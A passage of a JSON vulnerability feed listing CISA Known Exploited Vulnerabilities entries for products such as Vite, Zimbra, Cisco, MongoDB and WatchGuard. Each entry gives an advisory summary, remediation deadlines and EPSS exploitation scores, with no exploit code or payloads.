CVE-2024-37079, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-31125","cveId":"CVE-2025-31125","aliases":[],"kind":"vulnerability","title":"Vite Vitejs Improper Access Control Vulnerability","summary":"Vite Vitejs contains an improper access control vulnerability that exposes content of non-allowed files using ?inline&import or ?raw?import. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.","detail":"CISA added this entry on 2026-01-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-01-22","updatedAt":null,"regions":["Global"],"vendor":"Vite","product":"Vitejs","stacks":["Vite","Vitejs"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-01-22","dueAt":"2026-02-12","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.65756,"percentile":0.99261,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-31125&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-31125","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-01-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-31125 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-31125&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-31125, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-34026","cveId":"CVE-2025-34026","aliases":[],"kind":"vulnerability","title":"Versa Concerto Improper Authentication Vulnerability","summary":"Versa Concerto SD-WAN orchestration platform contains an improper authentication vulnerability in the Traefik reverse proxy configuration, allowing at attacker to access administrative endpoints. The internal Actuator endpoint can be leveraged for access to heap dumps and trace logs.","detail":"CISA added this entry on 2026-01-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-01-22","updatedAt":null,"regions":["Global"],"vendor":"Versa","product":"Concerto","stacks":["Versa","Concerto"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-01-22","dueAt":"2026-02-12","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.8178,"percentile":0.99642,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-34026&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-34026","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-01-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-34026 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-34026&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-34026, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-54313","cveId":"CVE-2025-54313","aliases":[],"kind":"vulnerability","title":"Prettier eslint-config-prettier Embedded Malicious Code Vulnerability","summary":"Prettier eslint-config-prettier contains an embedded malicious code vulnerability. Installing an affected package executes an install.js file that launches the node-gyp.dll malware on Windows.","detail":"CISA added this entry on 2026-01-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-01-22","updatedAt":null,"regions":["Global"],"vendor":"Prettier","product":"eslint-config-prettier","stacks":["Prettier","eslint-config-prettier"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-01-22","dueAt":"2026-02-12","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05125,"percentile":0.92333,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-54313&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-54313","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-01-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-54313 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-54313&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-54313, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-68645","cveId":"CVE-2025-68645","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaboration Suite (ZCS) PHP Remote File Inclusion Vulnerability","summary":"Synacor Zimbra Collaboration Suite (ZCS) contains a PHP remote file inclusion vulnerability that could allow for remote attackers to craft requests to the /h/rest endpoint to influence internal request dispatching, allowing inclusion of arbitrary files from the WebRoot directory.","detail":"CISA added this entry on 2026-01-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-01-22","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-01-22","dueAt":"2026-02-12","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.48873,"percentile":0.98868,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-68645&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-68645","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-01-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-68645 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-68645&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-68645, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20045","cveId":"CVE-2026-20045","aliases":[],"kind":"vulnerability","title":"Cisco Unified Communications Products Code Injection Vulnerability","summary":"Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), Cisco Unified Communications Manager IM & Presence Service (Unified CM IM&P), Cisco Unity Connection, and Cisco Webex Calling Dedicated Instance contain a code injection vulnerability that could allow the attacker to obtain user-level access to the underlying operating system and then elevate privileges to root.","detail":"CISA added this entry on 2026-01-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-01-21","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Unified Communications Manager","stacks":["Cisco","Unified Communications Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-01-21","dueAt":"2026-02-11","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04541,"percentile":0.91502,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20045&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-20045","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-01-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-20045 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20045&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20045, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20805","cveId":"CVE-2026-20805","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Information Disclosure Vulnerability","summary":"Microsoft Windows Desktop Windows Manager contains an information disclosure vulnerability that allows an authorized attacker to disclose information locally.","detail":"CISA added this entry on 2026-01-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-01-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-01-13","dueAt":"2026-02-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07463,"percentile":0.94422,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20805&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-20805","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-01-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-20805 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20805&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20805, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-8110","cveId":"CVE-2025-8110","aliases":[],"kind":"vulnerability","title":"Gogs Path Traversal Vulnerability","summary":"Gogs contains a path traversal vulnerability affecting improper Symbolic link handling in the PutContents API that could allow for code execution.","detail":"CISA added this entry on 2026-01-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-01-12","updatedAt":null,"regions":["Global"],"vendor":"Gogs","product":"Gogs","stacks":["Gogs"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-01-12","dueAt":"2026-02-02","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.85202,"percentile":0.99712,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-8110&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-8110","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-01-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-8110 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-8110&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-8110, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2009-0556","cveId":"CVE-2009-0556","aliases":[],"kind":"vulnerability","title":"Microsoft Office PowerPoint Code Injection Vulnerability","summary":"Microsoft Office PowerPoint contains a code injection vulnerability that allows remote attackers to execute arbitrary code via a PowerPoint file with an OutlineTextRefAtom containing an invalid index value that triggers memory corruption.","detail":"CISA added this entry on 2026-01-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-01-07","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-01-07","dueAt":"2026-01-28","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.67312,"percentile":0.99299,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2009-0556&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2009-0556","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-01-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2009-0556 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2009-0556&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2009-0556, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-37164","cveId":"CVE-2025-37164","aliases":[],"kind":"vulnerability","title":"Hewlett Packard Enterprise (HPE) OneView Code Injection Vulnerability","summary":"Hewlett Packard Enterprise (HPE) OneView contains a code injection vulnerability that allows a remote unauthenticated user to perform remote code execution.","detail":"CISA added this entry on 2026-01-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-01-07","updatedAt":null,"regions":["Global"],"vendor":"Hewlett Packard Enterprise (HPE)","product":"OneView","stacks":["HPE Aruba","Hewlett Packard Enterprise (HPE)","OneView"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-01-07","dueAt":"2026-01-28","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.90193,"percentile":0.99795,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-37164&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-37164","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-01-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-37164 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-37164&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-37164, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-14847","cveId":"CVE-2025-14847","aliases":[],"kind":"vulnerability","title":"MongoDB and MongoDB Server Improper Handling of Length Parameter Inconsistency Vulnerability","summary":"MongoDB Server contains an improper handling of length parameter inconsistency vulnerability in Zlib compressed protocol headers. This vulnerability may allow a read of uninitialized heap memory by an unauthenticated client.","detail":"CISA added this entry on 2025-12-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-29","updatedAt":null,"regions":["Global"],"vendor":"MongoDB","product":"MongoDB and MongoDB Server","stacks":["MongoDB","MongoDB and MongoDB Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-29","dueAt":"2026-01-19","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.83218,"percentile":0.99675,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-14847&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-14847","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-14847 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-14847&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-14847, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-52163","cveId":"CVE-2023-52163","aliases":[],"kind":"vulnerability","title":"Digiever DS-2105 Pro Missing Authorization Vulnerability","summary":"Digiever DS-2105 Pro contains a missing authorization vulnerability which could allow for command injection via time_tzsetup.cgi.","detail":"CISA added this entry on 2025-12-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-22","updatedAt":null,"regions":["Global"],"vendor":"Digiever","product":"DS-2105 Pro","stacks":["Digiever","DS-2105 Pro"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-22","dueAt":"2026-01-12","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96921,"percentile":0.99888,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-52163&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-52163","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-52163 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-52163&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-52163, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-14733","cveId":"CVE-2025-14733","aliases":[],"kind":"vulnerability","title":"WatchGuard Firebox Out of Bounds Write Vulnerability","summary":"WatchGuard Fireware OS iked process contains an out of bounds write vulnerability in the OS iked process. This vulnerability may allow a remote unauthenticated attacker to execute arbitrary code and affects both the mobile user VPN with IKEv2 and the branch office VPN using IKEv2 when configured with a dynamic gateway peer.","detail":"CISA added this entry on 2025-12-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-19","updatedAt":null,"regions":["Global"],"vendor":"WatchGuard","product":"Firebox","stacks":["WatchGuard","Firebox"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-19","dueAt":"2025-12-26","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.29423,"percentile":0.98167,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-14733&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-14733","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-14733 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-14733&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-14733, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-20393","cveId":"CVE-2025-20393","aliases":[],"kind":"vulnerability","title":"Cisco Multiple Products Improper Input Validation Vulnerability","summary":"Cisco Secure Email Gateway, Secure Email, AsyncOS Software, and Web Manager appliances contains an improper input validation vulnerability that allows threat actors to execute arbitrary commands with root privileges on the underlying operating system of an affected appliance.","detail":"CISA added this entry on 2025-12-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-17","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Multiple Products","stacks":["Cisco","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-17","dueAt":"2025-12-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.32392,"percentile":0.98318,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-20393&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-20393","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-20393 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-20393&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-20393, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-40602","cveId":"CVE-2025-40602","aliases":[],"kind":"vulnerability","title":"SonicWall SMA1000 Missing Authorization Vulnerability","summary":"SonicWall SMA1000 contains a missing authorization vulnerability that could allow for privilege escalation appliance management console (AMC) of affected devices.","detail":"CISA added this entry on 2025-12-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are 